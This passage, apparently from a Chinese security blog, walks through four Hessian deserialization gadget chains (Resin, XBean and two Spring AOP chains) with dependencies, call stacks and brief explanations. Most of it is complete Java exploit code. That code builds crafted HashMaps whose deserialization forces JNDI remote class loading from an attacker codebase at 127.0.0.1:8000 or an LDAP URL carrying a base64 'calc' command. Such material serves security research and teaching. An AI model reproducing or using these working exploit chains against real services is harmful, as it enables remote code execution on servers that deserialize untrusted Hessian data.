        setFieldValue(hashMap, "size", 4);

        // 序列化
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(baos);
        ho.setSerializerFactory(serializerFactory);
        ho.writeObject(hashMap);
        // 反序列化
        Object o = new HessianInput(new ByteArrayInputStream(baos.toByteArray())).readObject();
    }

}

成功执行

image-20251201172129475

Resin链

依赖

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>resin</artifactId>
    <version>4.0.63</version>
</dependency>

调用栈

NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
NamingManager.getObjectInstance() (javax.naming.spi)
NamingManager.getContext() (javax.naming.spi)
ContinuationContext.getTargetContext() (javax.naming.spi)
ContinuationContext.composeName() (javax.naming.spi)  
QName.toString() (com.caucho.naming)  
XString.equals() (com.sun.org.apache.xpath.internal.objects)
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

从调用栈也可以看出这跟打JNDI时很像,其实也确实,我们封装一个恶意的Reference发给服务器去解析,解析过程与JNDI的lookup过程基本一致,都是在NamingManager中实现类加载

所以

这个执行还是需要 trustCodeBase 为true

image-20251202144814699

测试1:

package com.example;

import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Hashtable;

public class HessianResin {

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while (field == null) {
            try {
                field = clazz.getDeclaredField(fieldName);
            }catch (NoSuchFieldException e){
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws  Exception{
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String codebase = "http://127.0.0.1:8000/";
        String factoryName = "test";
        Reference ref = new Reference("test", factoryName, codebase);
        CannotProceedException cpe = new CannotProceedException();
        setFieldValue(cpe,"resolvedObj", ref);
        Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(cpe, new Hashtable<>());
        Context context = (Context) o;
        QName qName = new QName(context, "test","test1");
        //        qName.toString();
        XString xString = new XString("aa");
        xString.equals(qName);
    }
}

image-20251202153659072

剩下的就是利用hash冲突在hashmap执行put时,触发xString.equals(qName);

public static String unhash ( int hash ) {
    int target = hash;
    StringBuilder answer = new StringBuilder();
    if ( target < 0 ) {
        // String with hash of Integer.MIN_VALUE, 0x80000000
        answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

        if ( target == Integer.MIN_VALUE )
            return answer.toString();
        // Find target without sign bit set
        target = target & Integer.MAX_VALUE;
    }

    unhash0(answer, target);
    return answer.toString();
}
private static void unhash0 ( StringBuilder partial, int target ) {
    int div = target / 31;
    int rem = target % 31;

    if ( div <= Character.MAX_VALUE ) {
        if ( div != 0 )
            partial.append((char) div);
        partial.append((char) rem);
    }
    else {
        unhash0(partial, div);
        partial.append((char) rem);
    }
}

这应该是根据 QName和XString的hashcode方法,进行了逆向得来的刚好能使两个类造成hash冲突的算法

最终代码

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.enterprise.inject.New;
import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;


/**
 * NamingManager.getObjectFactoryFromReference() (javax.naming.spi)
 * NamingManager.getObjectInstance() (javax.naming.spi)
 * NamingManager.getContext() (javax.naming.spi)
 * ContinuationContext.getTargetContext() (javax.naming.spi)
 * ContinuationContext.composeName() (javax.naming.spi)
 * QName.toString() (com.caucho.naming)
 * XString.equals() (com.sun.org.apache.xpath.internal.objects)
 * HashMap.putVal()
 * HashMap.put()
 * MapDeserializer.readMap()
 * SerializerFactory.readMap()
 * HessianInput.readObject()
 */
public class HessianResin {

    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = null;
        Class clazz = obj.getClass();
        while (field == null) {
            try {
                field = clazz.getDeclaredField(fieldName);
            }catch (NoSuchFieldException e){
                clazz = clazz.getSuperclass();
            }
        }
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
    public static void main(String[] args) throws  Exception{
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

        String codebase = "http://127.0.0.1:8000/";
        String factoryName = "test";
        Reference ref = new Reference("test", factoryName, codebase);
        CannotProceedException cpe = new CannotProceedException();
        setFieldValue(cpe,"resolvedObj", ref);
        Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(cpe, new Hashtable<>());
        Context context = (Context) o;
        QName qName = new QName(context, "test","test1");
        //        qName.toString();
        String s = unhash(qName.hashCode());
        XString xString = new XString(s);
        //        xString.equals(qName);
        HashMap<Object, Object> hashMap = new HashMap<>();
        //        hashMap.put(qName, "test");
        //        System.out.println(hashMap);
        //        hashMap.put(xString, "test");
        Class nodeC = null;
        try{
            nodeC = Class.forName("java.util.HashMap$Node");
        }catch (ClassNotFoundException e){
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCC.setAccessible(true);
        Object qNaNode = nodeCC.newInstance(0, qName, "test", null);
        Object xStrNode = nodeCC.newInstance(1, xString, "test", null);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, qNaNode);
        Array.set(tbl, 1, xStrNode);
        setFieldValue(hashMap, "table", tbl);
        setFieldValue(hashMap, "size", 2);

        // 序列化
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(baos);
        ho.setSerializerFactory(serializerFactory);
        ho.writeObject(hashMap);

        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Object o1 = new HessianInput(bais).readObject();
        System.out.println(o1);

    }
}

成功执行

image-20251202161048940

XBean链

依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>4.3.7.RELEASE</version>
</dependency>
<dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-naming</artifactId>
    <version>4.5</version>
</dependency>

调用栈

loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
resolve:73, ContextUtil (org.apache.xbean.naming.context)
getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
toString:192, Binding (javax.naming)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:104, HotSwappableTargetSource (org.springframework.aop.target)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)

其实这个跟Resin链基本调用过程是一样的,利用equals调用 ContextUtil$ReadOnlyBinding的 toString() 方法,但是他并没有重写父类的 toString() 方法,所以调用的父类 Binding.toString() 方法。

image-20251203113349633

调用到 ContextUtil$ReadOnlyBinding.getObject() 接着 ContextUtil.resolve() 后续就是熟悉的NamingManager里实现类加载了

用HotSwappableTargetSource封装,是因为他即实现了hashCode方法,也实现了equals方法,且hashCode返回值固定,可以触发hash冲突

image-20251203145137025

EXP代码

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;


/**
 * loadClass:61, VersionHelper12 (com.sun.naming.internal)
 * getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
 * getObjectInstance:319, NamingManager (javax.naming.spi)
 * resolve:73, ContextUtil (org.apache.xbean.naming.context)
 * getObject:204, ContextUtil$ReadOnlyBinding (org.apache.xbean.naming.context)
 * toString:192, Binding (javax.naming)
 * equals:392, XString (com.sun.org.apache.xpath.internal.objects)
 * equals:104, HotSwappableTargetSource (org.springframework.aop.target)
 * putVal:634, HashMap (java.util)
 * put:611, HashMap (java.util)
 */

public class HessianXBean {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String codeBase = "http://127.0.0.1:8000/";
        String factoryName = "test";
        Reference ref = new Reference(factoryName, factoryName, codeBase);
        WritableContext writableContext = new WritableContext();
        ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("test",ref,writableContext );
        XString xString = new XString("aaa");
        HotSwappableTargetSource xstr = new HotSwappableTargetSource(xString);
        HotSwappableTargetSource read = new HotSwappableTargetSource(readOnlyBinding);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Class nodeC;
        try{
            nodeC = Class.forName("java.util.HashMap$Node");
        }catch (ClassNotFoundException e){
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCC.setAccessible(true);
        Object node1 = nodeCC.newInstance(0, read, "test", null);
        Object node2 = nodeCC.newInstance(1, xstr, "test", null);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, node1);
        Array.set(tbl, 1, node2);
        Field table = hashMap.getClass().getDeclaredField("table");
        table.setAccessible(true);
        table.set(hashMap, tbl);
        Field size = hashMap.getClass().getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);

        // 序列化
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(baos);
        ho.setSerializerFactory(serializerFactory);
        ho.writeObject(hashMap);

        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Object o = new HessianInput(bais).readObject();
    }
}

可以成功执行

image-20251203151801153

Spring PartiallyComparableAdvisorHolder链

依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.3.26</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.3.26</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.22</version>
</dependency>

EXP代码

需要注意的是:有些类初始化需要避开构造方法,因为构造方法有的会执行重点代码,有的执行super构造器,从而抛出异常。

这里使用Unsafe 实例化的类,避开了构造方法的执行

package com.hessian.hessianspring.demos.hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAfterAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

/**
 * SimpleJndiBeanFactory.doGetType() (org.springframework.jndi.support)
 * SimpleJndiBeanFactory.getType() (org.springframework.jndi.support)
 * BeanFactoryAspectInstanceFactory.getOrder() (org.springframework.aop.aspectj.annotation)
 * AbstractAspectJAdvice.getOrder (org.springframework.aop.aspectj)
 * AspectJPointcutAdvisor.getOrder() (org.springframework.aop.aspectj)
 * AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString() (org.springframework.aop.aspectj.autoproxy)
 * XString.equals() (com.sun.org.apache.xpath.internal.objects)
 * HotSwappableTargetSource.equals()    (org.springframework.aop.target) //可忽略
 * HashMap.putVal()
 * HashMap.put()
 * MapDeserializer.readMap()
 * SerializerFactory.readMap()
 * Hessian2Input.readObject()
 */

public class SpringPartiallyComparableEXP {
    public static Object createWithoutCons(String cls) throws Exception{
        Class<?> clazz = Class.forName(cls);
        Field unsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null);
        return unsafe.allocateInstance(clazz);
    }
    public static void setFiledValue(Object o,String filedname,Object value) throws Exception {
        Field field = null;
        try{
            field = o.getClass().getDeclaredField(filedname);
        }catch (NoSuchFieldException e){
            field = o.getClass().getSuperclass().getDeclaredField(filedname);
        }
        field.setAccessible(true);
        field.set(o,value);
    }
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String evilJndi = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
        simpleJndiBeanFactory.addShareableResource(evilJndi);
        //        BeanFactoryAspectInstanceFactory instanceFactory = new BeanFactoryAspectInstanceFactory(simpleJndiBeanFactory, evilJndi);
        BeanFactoryAspectInstanceFactory instanceFactory = (BeanFactoryAspectInstanceFactory)createWithoutCons("org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory");
        setFiledValue(instanceFactory,"beanFactory",simpleJndiBeanFactory);
        setFiledValue(instanceFactory,"name",evilJndi);

        // 实例化抽象类AbstractAspectJAdvice的子类AspectJAfterAdvice
        //        AspectJAfterAdvice aspectJAfterAdvice = new AspectJAfterAdvice(null, null, instanceFactory);
        AspectJAfterAdvice aspectJAfterAdvice = (AspectJAfterAdvice) createWithoutCons("org.springframework.aop.aspectj.AspectJAfterAdvice");
        setFiledValue(aspectJAfterAdvice,"aspectInstanceFactory",instanceFactory);
        //        AspectJPointcutAdvisor aspectJPointcutAdvisor = new AspectJPointcutAdvisor(aspectJAfterAdvice);
        AspectJPointcutAdvisor aspectJPointcutAdvisor = (AspectJPointcutAdvisor) createWithoutCons("org.springframework.aop.aspectj.AspectJPointcutAdvisor");
        setFiledValue(aspectJPointcutAdvisor,"advice",aspectJAfterAdvice);
        Class<?> clazz = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Class<?> comparatorClass = Class.forName("java.util.Comparator");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Advisor.class,comparatorClass);
        constructor.setAccessible(true);
        Object partiallyComparableAdvisorHolder = constructor.newInstance(aspectJPointcutAdvisor,null);
        XString xString = new XString("1");
        //        xString.equals(partiallyComparableAdvisorHolder);
        HotSwappableTargetSource t1 = new HotSwappableTargetSource(partiallyComparableAdvisorHolder);
        HotSwappableTargetSource t2 = new HotSwappableTargetSource(xString);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        HashMap hashMap = new HashMap();
        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCC.setAccessible(true);
        Object node1 = nodeCC.newInstance(0, t1, "t1", null);
        Object node2 = nodeCC.newInstance(1, t2, "t2", null);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, node1);
        Array.set(tbl, 1, node2);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        table.set(hashMap, tbl);
        Field size = HashMap.class.getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);

        // 序列化
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        //        FileOutputStream baos = new FileOutputStream("exp.bin");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput hout = new HessianOutput(baos);
        hout.setSerializerFactory(serializerFactory);
        hout.writeObject(hashMap);

        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        //        FileInputStream bais = new FileInputStream("exp.bin");
        HessianInput hessianInput = new HessianInput(bais);
        hessianInput.readObject();
    }
}

成功执行

image-20251204155603469

Spring AbstractBeanFactoryPointcutAdvisor链

依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.3.26</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>5.3.26</version>
</dependency>

调用栈

SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)
AbstractBeanFactoryPointcutAdvisor.getAdvice()  (org.springframework.aop.support)
AbstractPointcutAdvisor.equals()   (org.springframework.aop.support)
HotSwappableTargetSource.equals()    (org.springframework.aop.target) 
HashMap.putVal()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
Hessian2Input.readObject()

很简单的链,直接看代码吧

EXP代码

package com.hessian.hessianspring.demos.hessian;


import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

/**
 * SimpleJndiBeanFactory.getBean() (org.springframework.jndi.support)
 * AbstractBeanFactoryPointcutAdvisor.getAdvice()  (org.springframework.aop.support)
 * AbstractPointcutAdvisor.equals()   (org.springframework.aop.support)
 * HotSwappableTargetSource.equals()    (org.springframework.aop.target)
 * HashMap.putVal()
 * HashMap.put()
 */
public class SpringAbstractBeanFactoryEXP {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        String evilJndi = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
        simpleJndiBeanFactory.addShareableResource(evilJndi);
        DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();
        advisor1.setAdviceBeanName(evilJndi);
        advisor1.setBeanFactory(simpleJndiBeanFactory);
        AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();
        HotSwappableTargetSource t1 = new HotSwappableTargetSource(advisor1);
        HotSwappableTargetSource t2 = new HotSwappableTargetSource(advisor2);
        HashMap hashMap = new HashMap();
        //        hashMap.put(t1,"aaa");
        //        hashMap.put(t2,"bbb");
        Class nodeC;
        try{
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCC.setAccessible(true);
        Object node1 = nodeCC.newInstance(0, t1, "test", null);
        Object node2 = nodeCC.newInstance(1, t2, "test", null);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, node1);
        Array.set(tbl, 1, node2);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        table.set(hashMap, tbl);
        Field size = HashMap.class.getDeclaredField("size");
        size.setAccessible(true);
        size.set(hashMap, 2);

        // 序列化
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(baos);
        ho.setSerializerFactory(serializerFactory);
        ho.writeObject(hashMap);

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        new HessianInput(bais).readObject();
    }
}

image-20251204094714062

参考文章

https://www.javasec.org/java-vuls/Hessian.html

Hessian 反序列化原理到武器化利用 - FreeBuf 网络安全行业门户

Java 安全之 Rome 链分析与利用-先知社区

探寻 Hessian JDK 原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog

超详细解析Hessian利用链-先知社区

posted @ 2025-12-04 18:23  LingX5  阅读(57)  评论(0)    收藏  举报